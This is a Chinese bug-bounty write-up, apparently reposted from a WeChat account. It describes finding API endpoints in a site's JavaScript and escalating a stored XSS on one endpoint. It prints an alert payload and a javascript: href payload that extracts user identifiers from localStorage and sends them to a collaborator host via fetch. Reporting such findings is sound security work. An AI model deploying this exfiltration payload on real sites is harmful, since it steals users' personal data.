利用JS文件挖洞

admin 2025年3月16日00:54:57评论0 views字数 1107阅读3分41秒阅读模式

 

前言

一次渗透测试中,白帽小哥发现了 2 处 CSRF 漏洞,但不幸的是 CSRF 不在赏金范围内。

于是小哥开始尝试搜索JS文件,白帽小哥通常的做法是利用Chrome的开发者工具搜索特定的关键字或API端点,比如:

path:url:to:api/v1/

发现过程

并且作为额外的步骤,白帽小哥通常会搜索目标的任意目录或端点,比如 https://subdomain.redacted.com/en/account-profile 站点,就会搜索account-profile端点,查看它在代码中是如何被使用的。

很快白帽小哥就在 JS 代码中发现了一堆端点:

利用JS文件挖洞
发现端点

小哥尝试找到的每个端点,其中一个端点是(/platform/apps/lighthouse-homepage),当访问该端点时,白帽小哥发现到一个HTML Payload 被成功渲染:

利用JS文件挖洞
Payload 被成功渲染

返回端点并尝试重新修改名称,然后再次查看Payload是否已更改,从而确认Payload 是否可以在该页面中实现注入。

尝试了多个 XSS Payloads,但真正有效的只有Href:

test<a href="javascript:alert(1)">clickme</a>

由于 Cookies 中有 HTTPOnly 标识,因此不会产生太大影响,至少会被定为 P3 级漏洞。

白帽小哥不想就这样提交漏洞报告,因此他需要尝试将漏洞升级到更具影响力。

小哥开始查看 LocalStorage ,LocalStorage 有很多条目,特别是其中一个条目包含大量有关该帐户的 PII 信息(电子邮件地址、名字和姓氏、用户 ID、用户权限等)。

小哥尝试再次重写Payload,经过反复试验,并与ChatGPT 讨论正则表达式,最终 Payload 如下:

<a href="javascript:var match=JSON.stringify(localStorage).match(/ZNavIdentity.userId=[^&]+&currEntityId=[^&]+/);if(match)fetch('https://#collab.oastify/?cookie='+encodeURIComponent(match[0]))">ttt</a>

Payload 会将 LocalStorage 中的数据转换为字符串,然后使用正则表达式搜索特定键,然后对其值进行编码,最后将其发送到collaborator。

由于 LocalStorage 数据太大,无法全部发送,因此只能尝试使用正则表达式来获取包含敏感信息的密钥。

漏洞报告很快得到了回应,小哥也顺利获得了赏金奖励。

利用JS文件挖洞
漏洞确认

 

原文始发于微信公众号(迪哥讲事):利用JS文件挖洞

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月16日00:54:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用JS文件挖洞https://cn-sec.com/archives/3844559.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息